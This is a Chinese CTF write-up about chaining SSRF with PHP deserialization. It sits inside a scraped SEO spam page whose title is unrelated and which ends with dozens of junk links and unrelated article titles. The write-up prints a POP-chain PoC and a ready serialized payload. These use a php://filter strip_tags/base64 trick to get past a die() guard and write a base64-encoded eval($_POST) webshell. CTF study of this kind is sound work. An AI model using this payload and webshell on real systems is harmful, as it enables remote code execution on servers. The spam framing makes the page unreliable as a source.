当前位置: 首页 > wzjs >正文

一个旅游网站建设seo流量排名门户

一个旅游网站建设,seo流量排名门户,微信公众平台登录入口内村完小,郑州网站免费制作打开页面是个什么Apache2的页面,先扫一扫看看有没有hint 扫一扫还是有东西 尝试访问flag.php一片空白,还有个登录页面 再看看robots.txt会有什么提示吧 继续访问看看 跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的…

打开页面是个什么Apache2的页面,先扫一扫看看有没有hint

 扫一扫还是有东西

尝试访问flag.php一片空白,还有个登录页面

再看看robots.txt会有什么提示吧

继续访问看看

跳出了百度的搜索页面,可以直接搜索读取的话,再结合前面看见的服务器和不安全的协议应该就是SSRF

尝试用SSRF来读取

?path=http://127.0.0.1/star1.php

读取ser.php的源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';class GWHT{public $hero;public function __construct(){$this->hero = new Yasuo;}public function __toString(){if (isset($this->hero)){return $this->hero->hasaki();}else{return "You don't look very happy";}}
}
class Yongen{ //flag.phppublic $file;public $text;public function __construct($file='',$text='') {$this -> file = $file;$this -> text = $text;}public function hasaki(){$d   = '<?php die("nononon");?>';$a= $d. $this->text;@file_put_contents($this-> file,$a);}
}
class Yasuo{public function hasaki(){return "I'm the best happy windy man";}
} 

这里我们可以发现是php序列化的代码,但是没有反序列化的入口 ,去看了一下wp用Arjun来扫描参数

参数是"c"

知道了参数就该开始找pop链了

同样的先找高危函数做链尾file_put_contents,可以通过函数读取文件中的flag,这里通过上传一句话木马来getshell,链尾确定

从后往前推,要触发Yongen::hasaki(),在GWHT::toString()中就直接调用了hasaki()方法

再触发toString方法,构成完整的pop链(但是这里有个疑惑点,__toString()怎么调用呢
然后参考了其他师傅的wp,结合我们暴露源码时最下面的your hat is too black!
应该是源码中反序列化点会直接输出对象,直接能触发该方法。)

逻辑如下
$c=$_GET['c']; if(isset($c)){echo $x = unserialize($c);  //echo 的时候会触发 __toString() 魔术方法}else{echo "your hat is too black!";}
GWHT::__construct()->GWHT::__toString()->Yongen::hasaki()

 关键点就是如何绕过死亡代码<?php die("nononon");?>,这个东西会拼接在我们要读取的变量里面;方法是用strip_tags绕过,死亡代码终究是一句php的标签,用strip_tags把标签去除,php://filter也支持strip_tags(string.strip.tags-------从字符串中去除HTML、PHP标签,是一个非常非常重要的函数)所以先base64编码,用string.strip_tags 将<?php?>全部删掉,再base64解码

poc

<?phpclass GWHT{public $hero;
}
class Yongen{ //flag.phppublic $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";public $text="PD9waHAgQGV2YWwoJF9QT1NUW3NoZWxsXSk/Pg==";
}$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

payload

?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:71:"php://filter/string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:44:"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==";}}

 在shell.php页面进行命令执行


文章转载自:

http://z7LQKdDw.pggkr.cn
http://qRk6Rd4l.pggkr.cn
http://LKWOPq3t.pggkr.cn
http://vhBKXN9V.pggkr.cn
http://g7hLyaq9.pggkr.cn
http://56EvTXx7.pggkr.cn
http://5apIgeVV.pggkr.cn
http://DXmaJrZI.pggkr.cn
http://dG63DX3a.pggkr.cn
http://A0mhr6KN.pggkr.cn
http://5tCrKHRq.pggkr.cn
http://a5wYXiVg.pggkr.cn
http://nDW1Nb42.pggkr.cn
http://9EgjvqcX.pggkr.cn
http://Qxwtvpq8.pggkr.cn
http://S7gUbVQ7.pggkr.cn
http://nhPT8rJT.pggkr.cn
http://GlJRO7E4.pggkr.cn
http://Q9y7kGMk.pggkr.cn
http://G6lDUVkp.pggkr.cn
http://OBk2L47A.pggkr.cn
http://tgpPXPN5.pggkr.cn
http://EfouxNZM.pggkr.cn
http://NnZDr3C9.pggkr.cn
http://iD7ggXVg.pggkr.cn
http://gOCqm7tL.pggkr.cn
http://4RNylGu0.pggkr.cn
http://lmfKp9tk.pggkr.cn
http://p82TOPOZ.pggkr.cn
http://PjgH1nl5.pggkr.cn
http://www.dtcms.com/wzjs/691515.html

相关文章:

  • 一般的网站建设南京 推广 网站建设
  • 有服务器可以做网站吗云彩网站
  • 一定要建设好网站才能备案吗c2c网站名称和网址
  • 提供免费建网站的网旅游电子商务网站有哪些
  • 西宁网站制作费用是多少钱wordpress中文版和英文版
  • 怎么样做网站推广北京网页设计公司山东济南兴田德润在哪里
  • 做盗版小说网站免费注册网站的平台
  • 做一网站多少钱广州网站公司建设网站
  • 全国网站建设大赛可信网站认证服务中心
  • 网站建设套模板wordpress 头条号
  • asp网站如何迁移建设黑彩网站
  • 网站建设源码修改在线crm系统是啥
  • wap网站空间小程序开发平台怎么选择
  • 阿里云网站备案拍照点泉州软件开发培训
  • 厦门的一个做设计的网站爱客影院wordpress
  • 网站关键词优化是什么龙岗公司网站建设
  • 济南网站优化的周期wordpress自定义远程字体
  • 大连开发区规划建设局网站北京建设银行网站田村
  • 为什么网站数量减少福建富通建设有限公司网站
  • 建设厅安检局网站常州企业网站
  • 宿迁集团网站建设佛山市公司网站建设平台
  • 建立网站的金华农村网站建设
  • 网站开发费用鉴定网站建设几大技巧
  • 揭阳市php网站开发找工作网站开发工程师ppt
  • 做商品网站数据库有哪些phpcms 专题网站模板
  • 一诺互联网站建设公司wordpress网站模板
  • 泉州城乡住房建设厅网站事件营销的经典案例
  • 青岛做网站建设价格wordpress 随机浏览量
  • ftp网站上传之后怎么办自学织梦做网站要多久
  • 办公室工作绩效 网站建设深圳网站制作公司报价